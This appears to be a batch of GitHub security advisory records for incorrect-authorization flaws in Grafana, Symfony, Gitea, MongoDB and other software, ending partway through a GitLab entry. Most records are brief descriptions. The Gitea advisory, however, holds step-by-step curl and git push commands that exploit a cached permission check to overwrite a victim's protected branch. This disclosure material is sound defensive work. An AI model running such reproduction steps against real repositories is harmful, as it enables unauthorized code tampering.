CWE-863

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-beta1"
            },
            {
              "fixed": "7.5.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-21713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-14T22:17:22Z",
    "nvd_published_at": "2022-02-08T21:15:20Z",
    "severity": "MODERATE"
  },
  "details": "Today we are releasing Grafana 8.3.5 and 7.5.14. This patch release includes MEDIUM severity security fix for Grafana Teams API IDOR.\n\nRelease v.8.3.5, only containing security fixes:\n\n- [Download Grafana 8.3.5](https://grafana.com/grafana/download/8.3.5)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-3-5/)\n\nRelease v.7.5.15, only containing security fixes:\n\n- [Download Grafana 7.5.15](https://grafana.com/grafana/download/7.5.15)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-5-15/)\n\n## Teams API IDOR([CVE-2022-21713](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21713))\n\nOn Jan. 18, an external security researcher, K\u00fcr\u015fad ALSAN from [NSPECT.IO](https://www.nspect.io) ([@nspectio](https://twitter.com/nspectio) on Twitter), contacted Grafana to disclose an IDOR (Insecure Direct Object Reference) vulnerability on Grafana Teams APIs.\n\nWe believe that this vulnerability is rated at CVSS 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).  \n\n### Impact\n\nThis vulnerability only impacts the following API endpoints:\n\n- `/teams/:teamId` - an authenticated attacker can view unintended data by querying for the specific team ID.\n- `/teams/:search` - an authenticated attacker can search for teams and see the total number of available teams, including for those teams that the user does not have access to.\n- `/teams/:teamId/members` - when editors_can_admin flag is enabled, an authenticated attacker can see unintended data by querying for the specific team ID.\n\n### Affected versions with MEDIUM severity \nAll Grafana \u003e=5.0.0-beta1 versions are affected by this vulnerability.\n\n### Solutions and mitigations\n\nAll installations after Grafana v5.0.0-beta1 should be upgraded as soon as possible.\n\nAppropriate patches have been applied to [Grafana Cloud](https://grafana.com/cloud) and as always, we closely coordinated with all cloud providers licensed to offer Grafana Pro. They have received early notification under embargo and confirmed that their offerings are secure at the time of this announcement. This is applicable to Amazon Managed Grafana.\n\n### Timeline and postmortem\n\nHere is a detailed timeline starting from when we originally learned of the issue. All times in UTC.\n\n- 2022-01-18 05:000 Issue submitted by external researcher\n- 2022-01-21 17:45 Issue escalated and the vulnerability confirmed reproducible\n- 2022-01-24 13:37 CVE requested\n- 2022-01-24 14:40 Private release planned for 2022-01-25, and public release planned for 2022-02-01.\n- 2022-01-24 17:00 PR with fix opened\n- 2022-01-24 19:00 GitHub has issued CVE-2022-21713 \n- 2022-01-25 12:00 Private release\n- 2022-02-01 12:00 During public release process, we realized that private 7.x release was incomplete. Abort public release, send second private release to customers using 7.x\n- 2022-02-08 13:00 Public release\n\n### Acknowledgements\nWe would like to thank K\u00fcr\u015fad ALSAN from [NSPECT.IO](https://www.nspect.io) ([@nspectio](https://twitter.com/nspectio) on Twitter) for responsibly disclosing the vulnerability.\n\n### Reporting security issues\n\nIf you think you have found a security vulnerability, please send a report to security@grafana.com. This address can be used for all of Grafana Labs\u0027 open source and commercial products (including, but not limited to Grafana, Grafana Cloud, Grafana Enterprise, and grafana.com). We can accept only vulnerability reports at this address. We would prefer that you encrypt your message to us by using our PGP key. The key fingerprint is\n\nF988 7BEA 027A 049F AE8E 5CAA D125 8932 BE24 C5CA\n\nThe key is available from keyserver.ubuntu.com.\n\n### Security announcements\n\nWe maintain a [security category](https://community.grafana.com/c/support/security-announcements) on our blog, where we will always post a summary, remediation, and mitigation details for any patch containing security fixes.\n\nYou can also subscribe to our [RSS feed](https://grafana.com/tags/security/index.xml).\n",
  "id": "GHSA-63g3-9jq3-mccv",
  "modified": "2024-05-14T22:17:23Z",
  "published": "2024-05-14T22:17:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grafana/grafana/security/advisories/GHSA-63g3-9jq3-mccv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21713"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grafana/grafana/pull/45083"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/blog/2022/02/08/grafana-7.5.15-and-8.3.5-released-with-moderate-severity-security-fixes"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2PFW6Q2LXXWTFRTMTRN4ZGADFRQPKJ3D"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/36GUEPA5TPSC57DZTPYPBL6T7UPQ2FRH"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HLAQRRGNSO5MYCPAXGPH2OCSHOGHSQMQ"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220303-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grafana API IDOR"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T00:01:10Z",
    "nvd_published_at": "2026-03-31T15:16:14Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen only a route-level group allowlist was configured, sender policy resolution silently downgraded from `allowlist` to `open` instead of preserving the configured group policy.\n\n## Impact\n\nAny member of an allowlisted Google Chat space or Zalouser group could interact with the bot even when the operator intended sender-level restrictions.\n\n## Affected Component\n\n`extensions/googlechat/src/monitor-access.ts, extensions/zalouser/src/monitor.ts`\n\n## Fixed Versions\n\n- Affected: `\u003c= 2026.3.24`\n- Patched: `\u003e= 2026.3.28`\n- Latest stable `2026.3.28` contains the fix.\n\n## Fix\n\nFixed by commit `e64a881ae0` (`Channels: preserve routed group policy`).\n\nOpenClaw thanks @AntAISecurityLab for reporting.",
  "id": "GHSA-63mg-xp9j-jfcm",
  "modified": "2026-04-06T16:46:04Z",
  "published": "2026-04-01T00:01:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-63mg-xp9j-jfcm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33578"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/e64a881ae0fb8af18e451163f4c2d611d60cc8e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-sender-policy-allowlist-bypass-via-policy-downgrade-in-google-chat-and-zalouser-extensions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Google Chat and Zalouser group sender allowlist bypass via policy downgrade"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-1874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-27T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Insufficient policy enforcement in Safe Browsing in Google Chrome on Mac prior to 102.0.5005.61 allowed a remote attacker to bypass downloads protection policy via a crafted HTML page.",
  "id": "GHSA-63px-7j2g-6pfw",
  "modified": "2022-08-04T00:00:23Z",
  "published": "2022-07-28T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1874"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2022/05/stable-channel-update-for-desktop_24.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1251588"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202208-25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/http-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/http-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45075"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T21:12:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Description\n\nSymfony\u0027s `#[IsGranted(\u0027...\u0027)]`, `#[IsSignatureValid]`, and `#[IsCsrfTokenValid(...)]` attributes allow you to define a `methods: [...]` argument to only enforce these checks for the listed HTTP methods and skip them otherwise. E.g. an attribute defining `methods: [\u0027GET\u0027]` would be ignored for a `HEAD` request.\n\nOn the other hand, Symfony\u0027s router (and HTTP semantics generally) serves `HEAD` requests using the `GET` handler. Therefore, a controller protected by e.g. `#[IsGranted(\u0027ROLE_ADMIN\u0027, methods: [\u0027GET\u0027])]` can be reached via `HEAD` with the authorization check silently skipped.\n\nEven if the `HEAD` request won\u0027t get any response content, response headers leak (`Content-Length`, `Location`, custom headers). Also, the controller still executes and any side effects (DB writes, state changes) occur.\n\n### Resolution\n\nWhen adding `GET` in the `methods` option of these attributes, Symfony now also include the `HEAD` method automatically.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/fa8d5c67aa4b22c9656e3fd7d5c3aa59865bf838) for branch 7.4.\n\n### Credits\n\nSymfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and Alexandre Daubois for fixing it.",
  "id": "GHSA-6439-2f28-8p8q",
  "modified": "2026-07-02T20:42:02Z",
  "published": "2026-05-27T21:12:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-6439-2f28-8p8q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/fa8d5c67aa4b22c9656e3fd7d5c3aa59865bf838"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-kernel/CVE-2026-45075.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2026-45075.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45075.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45075"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony\u0027s HEAD Request Bypasses methods: [\u0027GET\u0027] Filter in #[IsGranted] / #[IsSignatureValid] / #[IsCsrfTokenValid]"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-44039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-05T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Franklin Fueling System FFS Colibri 1.9.22.8925 is affected by: File system overwrite. The impact is: File system rewrite (remote). \u00b6\u00b6 An attacker can overwrite system files like [system.conf] and [passwd], this occurs because the insecure usage of \"fopen\" system function with the mode \"wb\" which allows overwriting file if exists. Overwriting files such as passwd, allows an attacker to escalate his privileges by planting backdoor user with root privilege or change root password.",
  "id": "GHSA-6439-9fxj-fc35",
  "modified": "2025-04-24T15:30:41Z",
  "published": "2023-07-06T19:24:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44039"
    },
    {
      "type": "WEB",
      "url": "https://pastebin.com/raw/64stbsWu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-41617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-24T22:15:03Z",
    "severity": "CRITICAL"
  },
  "details": "Money Manager EX WebApp (web-money-manager-ex) 1.2.2 is vulnerable to Incorrect Access Control. The `redirect_if_not_loggedin` function in `functions_security.php` fails to terminate script execution after redirecting unauthenticated users. This flaw allows an unauthenticated attacker to upload arbitrary files, potentially leading to Remote Code Execution.",
  "id": "GHSA-643q-778f-w3wx",
  "modified": "2024-10-29T18:30:35Z",
  "published": "2024-10-25T00:33:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moneymanagerex/web-money-manager-ex/issues/51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moneymanagerex/web-money-manager-ex/commit/f2850b295ee21bc299799343a3bc4d004d05651d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moneymanagerex/web-money-manager-ex/releases/tag/v1.2.3"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/JaOrlT9G3yo?t=88"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-12116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-19T23:29:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable improper authorization vulnerability exists in miner_setGasPrice API of cpp-ethereum\u0027s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.",
  "id": "GHSA-647h-9mh3-p4p7",
  "modified": "2022-05-13T01:01:38Z",
  "published": "2022-05-13T01:01:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12116"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0468"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102475"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:43:11Z",
    "nvd_published_at": "2026-07-03T21:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Header\n\n| Field               | Value                                                                               |\n| ------------------- | ----------------------------------------------------------------------------------- |\n| Vulnerability Title | Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write |\n| Severity Rating     | High                                                                                |\n| Bug Category        | Authorization Bypass                                                                |\n| Location            | `routers/private/hook_pre_receive.go:55-64`, `CanWriteCode()`                       |\n| Affected Versions   | 1.25.5                                                                              |\n\n## Executive Summary\n\nThe pre-receive hook in Gitea evaluates the `CanMaintainerWriteToBranch` permission only once per `git push` session and caches the result for all subsequent refs in the same batch. An attacker who has a legitimate per-branch write grant (e.g., via an open pull request with \"Allow edits from maintainers\" enabled) can batch-push that branch together with any other ref. The cached `true` from the first ref is reused for all following refs, allowing the attacker to overwrite protected branches (including `main`), create arbitrary new branches, and push tags. This effectively escalates a single-branch maintainer-edit grant into full repository write access.\n\n## Root Cause Analysis\n\n### Technical Description\n\nWhen processing a multi-ref `git push`, the `HookPreReceive` handler at `hook_pre_receive.go:107` iterates over all incoming refs. For each branch ref, `preReceiveBranch` (`:140`) updates `ctx.branchName` to the current branch (`:142`) and then calls `AssertCanWriteCode()` (`:144`).\n\n`CanWriteCode()` (`:55-64`) checks whether the user can write to the repository. On the first call, it evaluates `issues_model.CanMaintainerWriteToBranch(ctx, userPerm, ctx.branchName, user)` and stores the result in a boolean flag (`canWriteCode`) with a guard (`checkedCanWriteCode`). On all subsequent calls within the same batch, it returns the cached boolean without re-evaluating against the now-different `ctx.branchName`.\n\nThis means the permission check is branch-specific in its inputs but session-scoped in its caching \u2014 a classic check-vs-use divergence.\n\nA second contributing factor is the AGit-flow relaxation at `routers/web/repo/githttp.go:190-192` (and `routers/private/serv.go:337-338`), which downgrades the outer `receive-pack` access gate from `Write` to `Read` when `git.DefaultFeatures().SupportProcReceive` is true (git \u2265 2.29). This allows a user with only Read access on a repository to initiate a `receive-pack` session, deferring all authorization to the pre-receive hook \u2014 which contains the caching bug described above.\n\n### First Faulty Condition\n\n| File      | `routers/private/hook_pre_receive.go` |\n| --------- | ------------------------------------- |\n| Line      | 55-64                                 |\n| Condition | `CanWriteCode()` evaluates the branch-specific `CanMaintainerWriteToBranch` check only on the first invocation and caches the result, reusing it for all subsequent refs in the batch regardless of which branch they target. |\n\n### Trace Analysis\n\nThe following is the path from the attacker\u0027s `git push` to the authorization fault:\n\n1. `POST /{owner}/{repo}.git/git-receive-pack` \u2192 `routers/web/repo/githttp.go:437` (`ServiceReceivePack`) \u2192 `httpBase()` (`:60`)\n   - Access gate is downgraded from Write to Read at `:190-192` due to AGit-flow support.\n\n2. `git receive-pack` invokes the pre-receive hook \u2192 `cmd/hook.go:184` (`runHookPreReceive`) \u2192 `modules/private/hook.go:96` (`HookPreReceive`) \u2192 internal API \u2192 `routers/private/hook_pre_receive.go:107` (`HookPreReceive`)\n\n3. Loop at `:117` iterates over all refs in the batch. For each branch ref, `preReceiveBranch` (`:140`) sets `ctx.branchName` at `:142`.\n\n4. **Fault**: `AssertCanWriteCode()` (`:144`) \u2192 `CanWriteCode()` (`:55-64`).\n   - First ref (`feature-branch`): `checkedCanWriteCode` is false \u2192 evaluates `CanMaintainerWriteToBranch(ctx, userPerm, \"feature-branch\", user)` \u2192 returns `true` (legitimate grant) \u2192 caches result.\n   - Second ref (`main`): `checkedCanWriteCode` is already true \u2192 returns cached `true` **without re-evaluating** against `\"main\"`.\n\n5. Hook returns 200 \u2192 `git receive-pack` accepts all refs \u2192 `main` is overwritten in the victim\u0027s repository.\n\n## Exploitability Assessment\n\n### Attack Vector \u0026 Reachability\n\n| Attack vector               | Network                                                                             |\n| --------------------------- | ----------------------------------------------------------------------------------- |\n| Authentication required     | Low                                                                                 |\n| User interaction required   | Required. Victim must enable \"Allow edits from maintainers\" on their PR             |\n| Reachable in default config | Yes                                                                                 |\n| Entry point                 | `git push` over smart-HTTP or SSH with multiple refs in a single operation          |\n\nThe attacker gains full write access to the victim\u0027s repository \u2014 equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic.\n\n### Reproduction Steps\n\n**Environment**\nThe issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS.\n\n**Prerequisites:** \n* a Gitea instance with two users, `attacker` and `victim`.\n\n```bash\n# 1. Attacker creates a repository (e.g., a popular open-source project)\ncurl -X POST \"http://attacker:pw@\u003cgitea\u003e/api/v1/user/repos\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"project\", \"auto_init\": true}\u0027\n\n# 2. Victim forks attacker\u0027s repository (standard contributor workflow)\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/attacker/project/forks\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027\n\n# 3. Victim creates a feature branch on their fork and commits a change\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/victim/project/branches\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"new_branch_name\": \"feature-branch\", \"old_branch_name\": \"main\"}\u0027\n\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/victim/project/contents/contribution.txt\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"message\": \"Add contribution\", \"content\": \"\u0027$(echo -n \"victim contribution\" | base64)\u0027\", \"branch\": \"feature-branch\"}\u0027\n\n# 4. Victim opens a PR from their feature branch into attacker/project\n#    with \"Allow edits from maintainers\" enabled\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/attacker/project/pulls\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"title\": \"Feature PR\", \"head\": \"victim:feature-branch\", \"base\": \"main\", \"allow_maintainer_edit\": true}\u0027\n```\n\nAt this point, the attacker (as maintainer of the base repo `attacker/project`) has a per-branch write grant on the victim\u0027s fork, scoped to the `feature-branch` branch only.\n\n**Attack**\n\nThe attacker works from their own repo (`attacker/project`)\n```bash\n# 5. Attacker clones their own repo\ngit clone http://attacker:pw@\u003cgitea\u003e/attacker/project.git \u0026\u0026 cd project\n\n# 6. Attacker fetches the victim\u0027s PR branch\ngit fetch -u http://\u003cgitea\u003e/victim/project feature-branch:victim-feature-branch\ngit checkout victim-feature-branch\n\n# 7. Attacker adds a commit to the PR branch\necho \"legitimate change\" \u003e feature.txt \u0026\u0026 git add . \u0026\u0026 git commit -m \"PR update\"\n\n# 8. Attacker also prepares a malicious commit on main\ngit checkout main\necho \"MALICIOUS CONTENT\" \u003e PWNED \u0026\u0026 git add . \u0026\u0026 git commit -m \"pwned\"\n\n# 9. Attacker pushes both refs to the victim\u0027s fork in a single operation \u2014 this is the exploit\ngit push http://attacker:pw@\u003cgitea\u003e/victim/project.git victim-feature-branch:feature-branch main:main\n\n# 10. The change on both refs is visible regardless of PR status\n```\n\n**Expected result**: \n`main` should be rejected (\"User permission denied for writing\").\n\n**Actual result**: \nBoth refs are accepted. `victim/project:main` now contains the attacker\u0027s malicious commit.\n\n```bash\n# Verify: victim checks their fork\u0027s main branch\ncurl \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/victim/project/contents/PWNED?ref=main\"\n# Returns attacker\u0027s \"MALICIOUS CONTENT\" \u2014 main has been overwritten\n```\n\nThe same technique also works for pushing arbitrary tags (`refs/tags/*`) and creating new branches.\n\n## Recommended Fix\n\nRemove the caching in `CanWriteCode()` \u2014 the `CanMaintainerWriteToBranch` check must be evaluated for every ref in the batch, not cached after the first call. The `checkedCanWriteCode` / `canWriteCode` fields on `preReceiveContext` and the guard in `CanWriteCode()` at `hook_pre_receive.go:55-64` should be removed, so the permission is evaluated fresh each time `preReceiveBranch` or `preReceiveTag` calls it. `loadPusherAndPermission()` already has its own caching (`loadedPusher`), so the per-call cost is limited to the `CanMaintainerWriteToBranch` query.\n\nSee [diff.patch](https://github.com/user-attachments/files/28831842/diff.patch) for the proposed fix.\n\nPatch provenance: AI-generated, human-reviewed.\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic\u0027s AI assistant, and triaged by **Adrian Denkiewicz** at **Doyensec** in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: **Doyensec in collaboration with Claude and Anthropic Research**",
  "id": "GHSA-649p-mmhf-85c7",
  "modified": "2026-07-21T21:43:11Z",
  "published": "2026-07-21T21:43:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-649p-mmhf-85c7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27775"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-13060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T20:16:43Z",
    "severity": "HIGH"
  },
  "details": "An authenticated user with limited read privileges may be able to access documents from collections they are not authorized to read, due to an inconsistency in how the $graphLookup aggregation stage is evaluated during authorization and during execution. Affected scenarios involve collections referenced within existing view pipeline definitions.",
  "id": "GHSA-64h4-qmc6-6gw9",
  "modified": "2026-07-22T21:32:06Z",
  "published": "2026-07-22T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13060"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/SERVER-127357"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-0926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-21T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "Gitlab Community Edition version 10.3 is vulnerable to an improper authorization issue in the Oauth sign-in component resulting in unauthorized user login.",
  "id": "GHSA-64x3-qr9c-w6jw",
  "modified": "2022-05-13T01:38:24Z",
  "published": "2022-05-13T01:38:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0926"
    },
    {
      "type": "WEB",
